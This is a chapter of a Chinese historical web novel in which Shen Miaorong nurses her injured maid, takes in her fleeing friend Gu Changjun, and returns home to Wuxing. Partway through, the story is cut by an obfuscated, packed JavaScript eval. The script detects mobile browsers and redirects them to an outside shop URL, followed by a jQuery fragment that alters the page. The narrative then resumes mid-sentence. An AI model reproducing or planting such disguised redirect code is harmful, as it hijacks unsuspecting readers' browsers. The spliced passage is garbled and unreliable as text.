29. 君随绿波远,我逐清风归

作品:《此生难陈

    萤烛在午后醒了过来,沈妙容正好在她的身边,下意识地睁眼,让萤烛吃痛的叫唤了一声。


    “小心些,”沈妙容柔声提醒道。


    萤烛被左眼处的疼痛拉出了昏昏沉沉,变得清醒许多。


    欲语泪先流,眼泪顺着萤烛的侧脸流下,嘴唇微颤,踌躇许久,萤烛才颤声开口:“夫人……”


    萤烛想说什么又说不出来,闭了闭眼,眼泪又一涌而出,没入散开的头发中。


    沈妙容抬手,轻拭萤烛脸颊上的泪痕:“这种时候,对与错,太难评说了,不过伤人是错的,那些人已经为此付出代价了。”


    听闻此言,萤烛的眼泪更加汹涌,她自己的出身并不荣誉,幼年生活也是拮据贫苦的,广陵处于两国交界,常年可见难民来往,她是看在眼里的。


    未曾想,自己的心善却遭来了这样的灾祸,心中五味陈杂。


    萤烛睁开眼,视线清晰了一瞬,又被泪水模糊,深吸一口气,开口道:“多谢夫人,让夫人受惊了。”


    沈妙容笑着摇了摇头,没有多言,这个时候就不要给萤烛更多的内疚了,只道:“你好好今日休息,明日我们便要启辰了。”


    又同萤烛待了一会沈妙容便离开了,既然要在江阴的郡治待一日,沈妙容便想着出去走走,因是郡治,治安相对稳定,沈妙容带着三个护卫和一个侍女便出门去了。


    虽然如此,几人的打扮依旧低调,延续了之前的伪装,装作是有些资财的商人之妇。


    粮食吩咐过人采买填补,沈妙容自己便只是在市集中闲逛。


    不愧是郡治的市集,还算是热闹,沈妙容觉得很是有趣,走走看看竟然也买了一些东西。


    顾盼之时,一只手抓住了沈妙容的手腕,吓得沈妙容大叫一声,护卫连忙把那人推倒在地。


    周边的行人也被吓了一跳,纷纷避开,沈妙容惊魂未定,朝地上的人看去,这一看又是一惊。


    只见坐在地上的是扮着男装一脸狼狈的顾昌君。


    顾昌君捂着屁股,抬头对着沈妙容笑了一下,随机转为一副痛苦的模样:“哎呦,好痛啊,恐是跌伤了,这位夫人,你可要对我负责啊!”


    顾昌君的声音不大不小,刚好被周围偷偷关注这边情况的路人听去。


    沈妙容感觉四周有很多视线投射到自己身上,脸顿时有些红,没好气的瞪了一眼地上的顾昌君,又看向身边的侍女,开口道:“还不扶这位公子起来,既然跌伤了,那便带他去治治,我也不是个小气的。”


    此言一出,众人只觉得无趣,便也不再关注了,顾昌君自然是被沈妙容的侍女带回了沈妙容落脚的地方。


    因为心里想着顾昌君的事,沈妙容之后只在市集上停留了片刻,便也回去了。


    沈妙容回来时,顾昌君已经清洗干净换上了新衣服,侍女正为她梳着头。


    “你倒是聪明,大庭广众之下给我来这样一出,”沈妙容轻摇手中纨扇,缓缓走到顾昌君身后,“说说吧,怎么弄成这个样子的。”


    顾昌君回身看向沈妙容,脸上并不是沈妙容预想的俏皮模样,与她相对视的是一双蓄满泪水的眼睛,还有紧咬的唇。


    “这是怎么了,”沈妙容抱住了顾昌君的脸,示意侍女离开。


    待侍女关上了门,顾昌君也终于把眼泪逼了回去,脸已通红,烫到了沈妙容的掌心。


    顾昌君抬手拉住了沈妙容的手腕,缓缓推开,深吸一口气,开口道:“我从荆州逃出后,本有几个别家趁乱出逃的侍从相伴,但路上遇到了图谋不轨的东西,抢劫了我们的粮食和金银。


    随着我出来的本就不是我自己的人,见没有了粮食和钱财,又不知是否能能安全抵达吴兴便都弃了我各奔东西,只有一个江阴的侍从带着我来着这里,昨日她已回到家乡,我便决定一人回吴兴,今天便在市集上遇到了你。”


    沈妙容沉默的听着,片刻后,长叹一声:“昨夜我险些也遭了抢劫,所幸护卫充足,只不过萤烛站得离难民有些近,受了伤。”


    顾昌君微微皱眉:“离得近?沈菩萨你不会是在开仓放粮吧?”


    沈妙容掐了一下顾昌君的胳膊:“什么开仓放粮,只不过是想施舍一些,还说我,自己还不是被洗劫一空了?”


    顾昌君突然想到了什么,微垂眼眸,拉着沈妙容的手也松开了,沈妙容有些疑惑:“怎么了?”


    “没什么,”顾昌君没有直接回答沈妙容的问题,只是含糊。


    虽然如此,但沈妙容约莫知道她在难过什么,知道顾昌君不愿提起,只是轻抚好友肩头,没有多言。


    逝者已逝,生者还要向前。


    “好好休息吧,这一路上我们都累了,好好睡一觉吧,明日我们便回家了。”


    说罢,沈妙容轻拍了拍顾昌君的肩,收回手,转身离去了。


    衣角轻旋,带起香风,门被沈妙容关上,顾昌君缓缓抬头,看向被关上的门,眼泪悄然滑落,滴落在交叠的手心。


    第二日,几人又登上了归途,马车内,沈妙容和顾昌君下着双陆棋,萤烛靠着软枕休息。


    顾昌君摸索着手中的棋子,思考着如何继续下一步,片刻之后,笑道:“我要输了。”


    沈妙容抬眸看她,笑问:“怎么?要和棋?”


    顾昌君摇了摇头,目光落回棋盘之中,继续移动棋子,回道:“不,继续吧。”


    看着顾昌君的动作,沈妙容唇角微扬:“那我奉陪到底。”


    约莫一刻之后,棋盘上的局势已经分明了,胜负已分,如预料的一样沈妙容赢了。


    两人相视一笑,沈妙容挥了挥手,示意一边侍候的侍女收整棋盘。


    “可要再来一局?”


    “算了,怪累的,”顾昌君看向一边休息的萤烛,微扬下巴,转换话题道,“就是她在大发善心吧。”


    沈妙容看了一眼萤烛,想了想,开口道:“不怪她,终是我做的决定,若我不许,她也不能有什么动作。”


    顾昌君微微挑眉,调侃道:"别人说几句你就心软,昨天说你是菩萨还不认,天下这样的苦难也不见菩萨显灵,你这个活菩萨到是耳根子软的不行。"


    沈妙容笑了笑:"要说菩萨,谁比得上那位皇帝菩萨?"


    此言一出,顾昌君哈哈大笑:“那是自然,那是自然。”


    沈妙容口中的皇帝菩萨是梁武帝萧衍,就是那位被“宇宙大将军”侯景饿死在建康的皇帝。


    “幸好你没有出去看热闹,要是你伤了哪里,恐是难民都要绝迹了。”


    顾昌君这话说的有些不大好听,直指陈昙蒨的权利,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277773|196038||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    带着一些对他们这对夫妻的污蔑,但是考虑到顾昌君刚刚丧夫,沈妙容不动声色,没有接话,转而说起了吴兴的事。


    “回去可是有我忙的,多少双眼睛看着,想着要来分我这一杯羹,你回去想必事情也不会少。”


    顾昌君轻嗤一声:“兵来将挡水来土掩,事情来了做便是。”


    “你敢担当,不如也来帮我担当担当,”沈妙容调侃道。


    “幼时的课业可以互相代写,如今的事哪里能帮呢?妙容,往后的事情,我们都只能靠自己了。”


    顾昌君无奈的笑了笑,看着沈妙容多年如一日温和的笑言,继续道:“我其实有些羡慕你,妙容,你好像做什么都很顺遂。”


    沈妙容微微挑眉:“昌君,真的是这样吗?你知道的,你我只不过是家族的棋子,我的顺遂只不过是父亲母亲精密安排之下的错觉罢了。”


    两人又聊了一会,沈妙容借口身体不适闭目休息了。


    闭着眼睛,眼前是一片无边的黑,沈妙容没有睡去,相反,她的思维不断地活跃着。


    两日相处,沈妙容隐隐觉得顾昌君的性格有些变化,以及对自己的态度,两人之间,似乎立起了一个薄薄的透明屏障。


    沈妙容不希望这张屏障一直存在,但愿只是丈夫战死还有逃亡路上的惊险给顾昌君带来的一些不适,希望等她缓过来,两人依旧会如过去一般亲密。


    看着沈妙容的面容,顾昌君的眼眸中千万种情绪交杂,最后也闭上了眼,不再去看。


    后面的路十分顺利,只是两个昔日密友的言语渐少了。


    几日后,一行人平安到达吴兴,过了城门,沈妙容看向顾昌君问道:“我将你送回王氏府邸还是顾府?”


    只是一瞬犹豫之后,顾昌君便做出了选择:“自然是回王府。”


    沈妙容点了点头,吩咐车夫先向王府而行。


    马车缓缓地停在了王府的大门前,沈妙容并不打算下车,只是在顾昌君起身离开之际,看向好友,说了一句:“昌君,你要多保重。”


    顾昌君的动作一顿,回身看向沈妙容,回道:“你也一样,多多保重吧。”


    说罢,便下了车,车门被关上,沈妙容总觉得这一瞬,关上的不只是车门,可能还有别的,她不愿去想。


    马车载着沈妙容回到了陈府,回到府内发现只有烔儿来迎,沈妙容问道:“如何只你一人来迎?”


    烔儿笑着回道:“回小姐,陈小姐早些时候出门参与诗会去了,公子还在沈府住着,便只有烔儿了。”


    两人对话之间,萤烛也缓缓走了过来,见萤烛的惨样,烔儿被吓了一跳。


    见烔儿的表情,沈妙容开口道:“先回院中,之后再说明吧。”


    沐浴更衣之后,沈妙容觉得身子舒爽了不少,来不及休息,便去了章要儿的住处,毕竟刚回来,还是要去见见家主夫人的。


    章要儿的院中很清静,沈妙容见到章要儿时她正在绣绣屏打发时间。


    “见过叔母,一别数月,叔母安康依旧。”


    章要儿的目光缓缓移到沈妙容的身上,停顿片刻后才开口:“侄媳妇亦是荣光依旧,快坐吧。”


    沈妙容落座,侍女撤下了绣屏,两人相互客套的问候了几句,章要儿便把话题拉到了陈伯宗的身上。